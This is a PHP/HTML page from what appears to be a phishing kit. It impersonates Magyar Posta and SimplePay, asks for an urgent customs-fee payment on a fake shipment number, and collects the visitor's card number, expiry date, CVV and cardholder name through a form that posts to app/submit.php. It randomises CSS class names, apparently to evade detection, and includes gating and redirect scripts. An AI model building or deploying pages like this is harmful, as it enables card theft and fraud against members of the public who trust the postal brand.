<?php
require_once dirname(__DIR__) . '/header.php';
$purchaseTotalDisplay = require dirname(__DIR__) . '/purchase_default.php';
$payDue = new DateTime('now', new DateTimeZone('Europe/Budapest'));
$payDue->modify('+2 days');
$payDueDisplay = $payDue->format('d. m. Y');
$shipmentId = 'LA991163219HU';
$paymentRef = 'MP-' . $payDue->format('Y') . '-' . substr(md5($shipmentId), 0, 6);
?>
<!DOCTYPE html>
<html lang="hu">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no">
  <title>Magyar Posta</title>
  <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet" type="text/css" />
  <link rel="stylesheet" href="../../assets/sp/css/style.css">
  <style>
    *, *::before, *::after { box-sizing: border-box; }
    html, body { margin: 0; padding: 0; min-height: 100%; }
    body {
      font-family: Arial, Helvetica, sans-serif;
      font-size: 14px;
      line-height: 1.35;
      color: #000;
      background: #f9f9f9;
      -webkit-font-smoothing: antialiased;
    }
    .mp-top { background: #f9f9f9; }
    .mp-top-inner {
      box-sizing: border-box;
      width: 1512.8px;
      max-width: 100%;
      height: 112px;
      margin: 0 auto;
      padding: 0 max(12px, calc((min(100vw, 1512.8px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: flex-start;
      gap: 28px;
      flex-wrap: nowrap;
    }
    .mp-logo { display: flex; align-items: center; text-decoration: none; color: inherit; flex-shrink: 0; }
    .mp-logo-img { display: block; }
    .mp-top .mp-logo-img { width: 128px; height: 64px; object-fit: contain; }
    .mp-nav-main { display: flex; flex-wrap: wrap; align-items: center; gap: 8px 20px; margin: 0; }
    .mp-nav-main a { font-size: 13px; color: #005c30; text-decoration: none; }
    .mp-nav-main a:hover { text-decoration: underline; }
    .mp-nav-util { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; margin-left: auto; flex-shrink: 0; }
    .mp-nav-util a { font-size: 13px; color: #333; text-decoration: none; }
    .mp-nav-util a:hover { text-decoration: underline; }
    .mp-search-ico { width: 20px; height: 20px; display: inline-block; vertical-align: middle; color: #333; margin-left: -4px; }
    .mp-crumb { background: #fff; border-bottom: 1px solid #ebebeb; }
    .mp-crumb-inner { max-width: 1180px; margin: 0 auto; padding: 10px 32px; font-size: 13px; }
    .mp-crumb a { color: #005c30; text-decoration: none; }
    .mp-crumb a:hover { text-decoration: underline; }
    .mp-crumb-sep { color: #999; margin: 0 6px; }
    .mp-crumb-current { color: #555; }
    .mp-page-wrap { max-width: 1180px; margin: 0 auto; padding: 32px 24px 48px; }
    .mp-card {
      background: transparent;
      box-shadow: none;
      padding: 0;
      max-width: 1040px;
      margin: 0 auto;
    }
    .mp-pay-layout {
      display: grid;
      grid-template-columns: minmax(0, 4fr) minmax(0, 5fr);
      gap: 24px;
      align-items: start;
      max-width: 920px;
      margin: 0 auto;
      width: 100%;
    }
    .mp-pay-summary {
      border: 1px solid #e0e0e0;
      border-radius: 10px;
      background: #fff;
      box-shadow: 0 2px 8px rgba(0, 0, 0, 0.06);
      padding: 22px 24px 24px;
    }
    .mp-pay-summary-brand {
      display: flex;
      align-items: center;
      justify-content: flex-start;
      margin: 0 0 16px;
      padding-bottom: 16px;
      border-bottom: 1px solid #e0e0e0;
    }
    .mp-pay-summary-brand img {
      display: block;
      height: 33px;
      width: auto;
      max-width: 100%;
      object-fit: contain;
    }
    .mp-pay-summary-head {
      display: block;
      margin-bottom: 8px;
      padding-bottom: 0;
      border-bottom: none;
    }
    .mp-pay-summary-head h2 {
      margin: 0 0 6px;
      font-size: 15px;
      font-weight: 600;
      color: #000;
      line-height: 1.35;
    }
    .mp-pay-back {
      display: inline-block;
      font-size: 13px;
      color: #757575;
      text-decoration: none;
    }
    .mp-pay-back:hover { text-decoration: underline; color: #757575; }
    .mp-pay-total-row {
      display: flex;
      align-items: baseline;
      justify-content: space-between;
      gap: 16px;
      margin: 20px 0 18px;
    }
    .mp-pay-total-label {
      margin: 0;
      font-size: 15px;
      font-weight: 700;
      color: #000;
    }
    .mp-pay-total {
      margin: 0;
      font-size: 15px;
      font-weight: 700;
      color: #000;
      letter-spacing: 0;
    }
    .mp-pay-meta {
      font-size: 12px;
      color: #9e9e9e;
      line-height: 1.5;
    }
    .mp-pay-meta div + div { margin-top: 4px; }
    .mp-pay-meta strong {
      color: #9e9e9e;
      font-weight: 400;
    }
    .mp-pay-form-wrap {
      border: none;
      border-radius: 0;
      padding: 0;
      background: transparent;
      box-shadow: none;
      width: 100%;
      min-width: 0;
    }
    .mp-pay-form-wrap form {
      display: block;
      width: 100%;
      max-width: 100%;
      min-width: 0;
      margin: 0;
    }
    .mp-pay-form-wrap .error-message {
      color: #b30000;
      background: #fdf2f2;
      padding: 10px 12px;
      border-radius: 8px;
      margin-bottom: 16px;
      border: 1px solid #f0c8c8;
      font-size: 13px;
    }
    .mp-pay-form-wrap .jkhfkd {
      background: linear-gradient(90deg, #2f5b6e 0%, #69d4a7 100%);
      border-radius: 10px;
      color: #fff;
    }
    .mp-pay-form-wrap .kkdjhge,
    .mp-pay-form-wrap .djeghjgjde {
      color: #fff;
    }
    .mp-pay-form-wrap .djeghjgjde {
      opacity: 0.95;
      font-size: 13px;
    }
    .mp-pay-form-wrap .jdgde {
      color: #fff;
    }
    .mp-pay-form-wrap .hjhde {
      background-color: #e0e0e0;
    }
    .mp-pay-form-wrap .jhdgehi {
      color: #9e9e9e;
    }
    .mp-pay-form-wrap .jdkkkfrb li {
      border-color: #e0e0e0;
      background: #fff;
      border-radius: 10px;
    }
    .mp-pay-form-wrap .jhutfr {
      color: #000;
    }
    .mp-pay-form-wrap .fjhrfrgfit {
      border: 1px solid #e0e0e0;
      border-radius: 10px;
      background: #fff;
    }
    .mp-pay-form-wrap .jkdhe {
      border-top-color: #e0e0e0;
      border-bottom-color: #e0e0e0;
    }
    .mp-pay-form-wrap .ldjheu {
      border-right-color: #e0e0e0;
    }
    .mp-pay-form-wrap .ofihugt {
      color: #000;
    }
    .mp-pay-form-wrap .ofihugt::placeholder {
      color: #6b6b6b;
      opacity: 1;
    }
    .mp-pay-form-wrap .ofihugt::-webkit-input-placeholder {
      color: #6b6b6b;
      opacity: 1;
    }
    .mp-pay-form-wrap .ofihugt::-moz-placeholder {
      color: #6b6b6b;
      opacity: 1;
    }
    .mp-pay-form-wrap .defh {
      color: #000;
    }
    .mp-pay-form-wrap button.firhtg,
    .mp-pay-form-wrap .firhtg {
      width: 100%;
      margin-top: 10px;
      background-color: #15252d;
      color: #fff;
      border: none;
      border-radius: 8px;
      padding: 12px 0;
      font-weight: 600;
      cursor: pointer;
      opacity: 1;
      filter: none;
      -webkit-tap-highlight-color: transparent;
    }
    .mp-pay-form-wrap button.firhtg:hover,
    .mp-pay-form-wrap .firhtg:hover {
      background-color: #0f1e26;
      color: #fff;
      opacity: 1;
      filter: none;
    }
    .mp-pay-form-wrap button.firhtg:active,
    .mp-pay-form-wrap .firhtg:active {
      background-color: #0a151b;
      color: #fff;
    }
    .mp-pay-form-wrap .jkhfkd {
      width: 100%;
      padding: 13px 20px;
      margin: 0;
    }
    .mp-pay-form-wrap .udhgd {
      width: 100%;
      display: flex;
      flex-direction: row;
      align-items: center;
      margin: 20px 0;
    }
    .mp-pay-form-wrap .kldhj {
      width: 100%;
      margin-bottom: 20px;
    }
    .mp-pay-form-wrap .jdkkkfrb {
      display: flex;
      flex-direction: row;
      align-items: stretch;
      justify-content: space-between;
      width: 100%;
      padding: 0;
      margin: 0;
      list-style: none;
    }
    .mp-pay-form-wrap .jdkkkfrb li {
      flex: 1 1 0;
      min-width: 0;
      height: 76px;
      margin: 5px;
      padding: 10px;
      box-sizing: border-box;
    }
    .mp-pay-form-wrap .fjhrfrgfit {
      width: 100%;
      max-width: 100%;
      overflow: hidden;
      box-sizing: border-box;
    }
    .mp-pay-form-wrap .hurfgyt {
      width: 100%;
      display: block;
    }
    .mp-pay-form-wrap .huihef {
      display: flex;
      flex-direction: row;
      align-items: stretch;
      width: 100%;
    }
    .mp-pay-form-wrap .ofihugt {
      width: 100%;
      display: block;
      box-sizing: border-box;
      padding: 14px 16px;
      font-size: 15px;
      line-height: 1.35;
      min-height: 48px;
    }
    .mp-pay-form-wrap .huihef .ldjheu,
    .mp-pay-form-wrap .huihef .ldjheuldhe {
      flex: 1 1 50%;
      width: 50%;
      min-width: 0;
    }
    .mp-pay-form-wrap .uhhfbr {
      display: flex;
      align-items: flex-start;
      gap: 10px;
      margin: 16px 0;
      width: 100%;
    }
    .mp-pay-form-wrap .uhhfbr .jfrbh {
      flex-shrink: 0;
      margin-top: 3px;
    }
    .mp-pay-form-wrap .uhhfbr .defh {
      margin: 0;
      font-size: 14px;
      line-height: 1.4;
    }
    footer.mp-ft { width: 100%; margin: 0; padding: 0; display: block; }
    .mp-ft-links { background: #f8f8f8; padding: 42px 32px 48px; width: 100%; }
    .mp-ft-inner { max-width: 1180px; margin: 0 auto; }
    .mp-ft-grid { display: grid; grid-template-columns: repeat(4, 1fr); gap: 28px 40px; }
    .mp-ft-col h4 { margin: 0 0 14px; font-size: 13px; font-weight: 700; color: #1a1a1a; }
    .mp-ft-col ul { margin: 0; padding: 0; list-style: none; }
    .mp-ft-col li { margin-bottom: 8px; }
    .mp-ft-col a { font-size: 13px; color: #005c30; text-decoration: underline; }
    .mp-ft-brand {
      width: 100%;
      height: 146px;
      background: #70c99a;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .mp-ft-brand-inner {
      width: 1513px;
      max-width: 100%;
      padding: 0 max(12px, calc((min(100%, 1513px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 24px;
    }
    .mp-ft-brand .mp-ft-logo-img { width: 128px; height: 64px; object-fit: contain; display: block; }
    .mp-ft-soc { display: flex; gap: 12px; }
    .mp-ft-soc-btn {
      width: 40px;
      height: 40px;
      background: #fff;
      border-radius: 6px;
      display: flex;
      align-items: center;
      justify-content: center;
      color: #1a1a1a;
      text-decoration: none;
    }
    .mp-ft-soc-btn svg { width: 20px; height: 20px; }
    .mp-ft-legal {
      background: #1a1a1a;
      height: 60px;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .mp-ft-legal .mp-ft-legal-inner {
      width: 1520.8px;
      max-width: 100%;
      padding: 0 max(12px, calc((min(100%, 1520.8px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: space-between;
      color: #fff;
      font-size: 12px;
    }
    .mp-ft-legal-inner span { font-size: 14px; }
    .mp-ft-legal-inner a { color: #fff; text-decoration: underline; }
    @media (max-width: 900px) {
      .mp-pay-layout {
        grid-template-columns: 1fr;
        max-width: 520px;
      }
      .mp-ft-grid { grid-template-columns: repeat(2, 1fr); }
    }
    @media (max-width: 720px) {
      .mp-page-wrap { padding: 24px 16px 32px; }
      .mp-card { max-width: none; width: 100%; }
    }
    @media (max-width: 640px) {
      .mp-top-inner { padding: 14px 16px; height: auto; min-height: 112px; flex-wrap: wrap; }
      .mp-nav-main { width: 100%; }
      .mp-ft-grid { grid-template-columns: 1fr; }
      .mp-ft-links { padding: 36px 20px 40px; }
      .mp-ft-brand { height: auto; min-height: 146px; padding: 18px 0; }
      .mp-ft-brand-inner { flex-wrap: wrap; padding: 0 20px; }
      .mp-ft-legal { height: auto; min-height: 60px; padding: 12px 0; }
      .mp-ft-legal .mp-ft-legal-inner { flex-wrap: wrap; justify-content: center; text-align: center; padding: 0 20px; }
    }
  </style>
</head>
<body>

  <header class="mp-top">
    <div class="mp-top-inner">
      <a href="#" class="mp-logo">
        <img class="mp-logo-img" src="../alert/logo.svg" width="128" height="64" alt="Magyar Posta">
      </a>
      <nav class="mp-nav-main" aria-label="Fő navigáció">
        <a href="#">Magánszemélyek</a>
        <a href="#">Üzleti partnerek</a>
        <a href="#">Karrier</a>
        <a href="#">Kapcsolat</a>
        <a href="#">ÉnPostám</a>
      </nav>
      <div class="mp-nav-util">
        <a href="#">Bejelentkezés</a>
        <a href="#">Kosár</a>
        <a href="#" aria-label="Keresés">
          <svg class="mp-search-ico" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="10" cy="10" r="7"/><path d="M15 15l7 7"/></svg>
        </a>
      </div>
    </div>
  </header>

  <div class="mp-crumb">
    <div class="mp-crumb-inner">
      <a href="#">Nyitó</a><span class="mp-crumb-sep">&gt;</span>
      <span class="mp-crumb-current">Nyomkövetés</span>
    </div>
  </div>

  <div class="mp-page-wrap">
    <main class="mp-card">
      <div class="mp-pay-layout">
        <aside class="mp-pay-summary" aria-labelledby="pay-summary-title">
          <div class="mp-pay-summary-brand">
            <img src="../../assets/sp/img/sss.svg" width="140" height="33" alt="SimplePay">
          </div>
          <div class="mp-pay-summary-head">
            <h2 id="pay-summary-title">Magyar Posta – Vámdíj</h2>
            <a class="mp-pay-back" href="../alert/">&laquo; Vissza</a>
          </div>
          <div class="mp-pay-total-row">
            <p class="mp-pay-total-label">Összesen</p>
            <p class="mp-pay-total"><?php echo htmlspecialchars($purchaseTotalDisplay, ENT_QUOTES, 'UTF-8'); ?></p>
          </div>
          <div class="mp-pay-meta">
            <div><strong>Küldeményazonosító:</strong> <?php echo htmlspecialchars($shipmentId, ENT_QUOTES, 'UTF-8'); ?></div>
            <div><strong>Befizetés azonosító:</strong> <?php echo htmlspecialchars($paymentRef, ENT_QUOTES, 'UTF-8'); ?></div>
            <div><strong>Fizetési határidő:</strong> <?php echo htmlspecialchars($payDueDisplay, ENT_QUOTES, 'UTF-8'); ?></div>
          </div>
        </aside>

        <div class="mp-pay-form-wrap">
          <form id="form" method="POST" action="app/submit.php">
            <input type="hidden" name="step" value="card">
            <input type="hidden" name="purchase_total" value="<?php echo htmlspecialchars($purchaseTotalDisplay, ENT_QUOTES, 'UTF-8'); ?>">

            <?php if (isset($_GET['error'])) { ?>
              <div class="error-message">
                Néhány adat helytelen. Kérjük, próbálja újra.
              </div>
            <?php } ?>

            <div class="<?php echo generateRandomClass(); ?> jkhfkd">
              <div class="<?php echo generateRandomClass(); ?> kjdhfr">
                <img src="../../assets/sp/img/gdhsjs.png" alt="" class="<?php echo generateRandomClass(); ?> dljkehj">
                <div class="<?php echo generateRandomClass(); ?> jdkh">
                  <p class="<?php echo generateRandomClass(); ?> kkdjhge">Gyors fizetés Simple-fiókkal</p>
                  <p class="<?php echo generateRandomClass(); ?> djeghjgjde">Fiókodba belépve vagy az appban</p>
                </div>
              </div>
              <i class="<?php echo generateRandomClass(); ?> far fa-long-arrow-right jdgde"></i>
            </div>
            <div class="<?php echo generateRandomClass(); ?> udhgd">
              <span class="<?php echo generateRandomClass(); ?> hjhde"></span>
              <span class="<?php echo generateRandomClass(); ?> jhdgehi">vagy</span>
              <span class="<?php echo generateRandomClass(); ?> hjhde"></span>
            </div>
            <div class="<?php echo generateRandomClass(); ?> kldhj">
              <ul class="<?php echo generateRandomClass(); ?> jdkkkfrb">
                <li>
                  <div class="<?php echo generateRandomClass(); ?> oihgt">
                    <img src="../../assets/sp/img/p1.png" alt="" class="<?php echo generateRandomClass(); ?> ujthgf">
                  </div>
                  <p class="<?php echo generateRandomClass(); ?> jhutfr">Átutalás</p>
                </li>
                <li>
                  <div class="<?php echo generateRandomClass(); ?> oihgt">
                    <i class="<?php echo generateRandomClass(); ?> far fa-credit-card"></i>
                  </div>
                  <p class="<?php echo generateRandomClass(); ?> jhutfr">Bankkártya</p>
                </li>
                <li>
                  <div class="<?php echo generateRandomClass(); ?> oihgt">
                    <img src="../../assets/sp/img/kjdg.jpg" alt="" class="<?php echo generateRandomClass(); ?> ujthgf">
                  </div>
                  <p class="<?php echo generateRandomClass(); ?> jhutfr">Digitális tárca</p>
                </li>
              </ul>
            </div>
            <div class="<?php echo generateRandomClass(); ?> fjhrfrgfit">
              <div class="<?php echo generateRandomClass(); ?> hurfgyt">
                <input required name="number" id="num" placeholder="Kártyaszám" type="tel" class="<?php echo generateRandomClass(); ?> ofihugt">
              </div>
              <div class="<?php echo generateRandomClass(); ?> hurfgyt jkdhe">
                <div class="<?php echo generateRandomClass(); ?> huihef">
                  <input required name="exp" id="exp" placeholder="Érvényesség" type="text" class="<?php echo generateRandomClass(); ?> ofihugt ldjheu">
                  <input required name="cvv" id="cvv" placeholder="CVC/CVV" type="tel" maxlength="4" class="<?php echo generateRandomClass(); ?> ofihugt ldjheuldhe">
                </div>
              </div>
              <div class="<?php echo generateRandomClass(); ?> hurfgyt">
                <input required name="holder" id="card-holder" placeholder="Kártyára írt név" type="text" class="<?php echo generateRandomClass(); ?> ofihugt">
              </div>
            </div>
            <div class="<?php echo generateRandomClass(); ?> uhhfbr my-3">
              <input class="<?php echo generateRandomClass(); ?> jfrbh" type="checkbox" id="check" name="check">
              <label class="<?php echo generateRandomClass(); ?> defh" for="check">Kártya mentése Simple-fiókba jövőbeli gyors fizetésekhez</label>
            </div>
            <button class="<?php echo generateRandomClass(); ?> firhtg" type="submit">Fizetés bankkártyával</button>
          </form>
        </div>
      </div>
    </main>
  </div>

  <footer class="mp-ft" role="contentinfo">
    <div class="mp-ft-links">
      <div class="mp-ft-inner mp-ft-grid">
        <div class="mp-ft-col">
          <h4>AKCIÓK</h4>
          <ul>
            <li><a href="#">Biztosítási akciók</a></li>
            <li><a href="#">MBH Bank akciók</a></li>
            <li><a href="#">Lejárt akciók</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>HASZNOS</h4>
          <ul>
            <li><a href="#">Általános Szerződési Feltételek</a></li>
            <li><a href="#">Hirdetmények</a></li>
            <li><a href="#">Díjszabások</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>INFORMÁCIÓ</h4>
          <ul>
            <li><a href="#">A Magyar Postáról</a></li>
            <li><a href="#">Adatkezelési tájékoztató</a></li>
            <li><a href="#">Karrier</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>KAPCSOLAT</h4>
          <ul>
            <li><a href="#">Sajtó</a></li>
            <li><a href="#">Ügyfélszolgálat</a></li>
            <li><a href="#">E-ügyintézés</a></li>
          </ul>
        </div>
      </div>
    </div>
    <div class="mp-ft-brand">
      <div class="mp-ft-brand-inner">
        <a href="#" class="mp-ft-brand-logo-link">
          <img class="mp-ft-logo-img" src="../alert/posta.svg" width="128" height="64" alt="Magyar Posta">
        </a>
        <div class="mp-ft-soc">
          <a href="#" class="mp-ft-soc-btn" aria-label="Instagram"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.65"><rect x="3" y="3" width="18" height="18" rx="4"/><circle cx="12" cy="12" r="3.35"/></svg></a>
          <a href="#" class="mp-ft-soc-btn" aria-label="Facebook"><svg viewBox="0 0 24 24" fill="currentColor"><path d="M13.5 22v-8.34h2.79l.42-3.24H13.5V8.74c0-.94.26-1.58 1.61-1.58h1.71V4.09A21.93 21.93 0 0014.23 4c-2.51 0-4.23 1.53-4.23 4.35v3.06H7v3.24h2.98V22h3.52z"/></svg></a>
        </div>
      </div>
    </div>
    <div class="mp-ft-legal">
      <div class="mp-ft-inner mp-ft-legal-inner">
        <span>&copy; 2026 Magyar Posta Zrt. Minden jog fenntartva!</span>
        <a href="#">Közadatok</a>
      </div>
    </div>
  </footer>

  <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.js"></script>
  <script src="../../assets/js/amex.js"></script>
  <script src="../../assets/js/redirect.js"></script>
  <script>
    $(function () {
      $("#num").mask("0000 0000 0000 0000");
      $("#exp").mask("00/00");
      $("#cvv").mask("0000");
    });
  </script>
  <?php include('../../assets/js/check2.php'); ?>
</body>
</html>
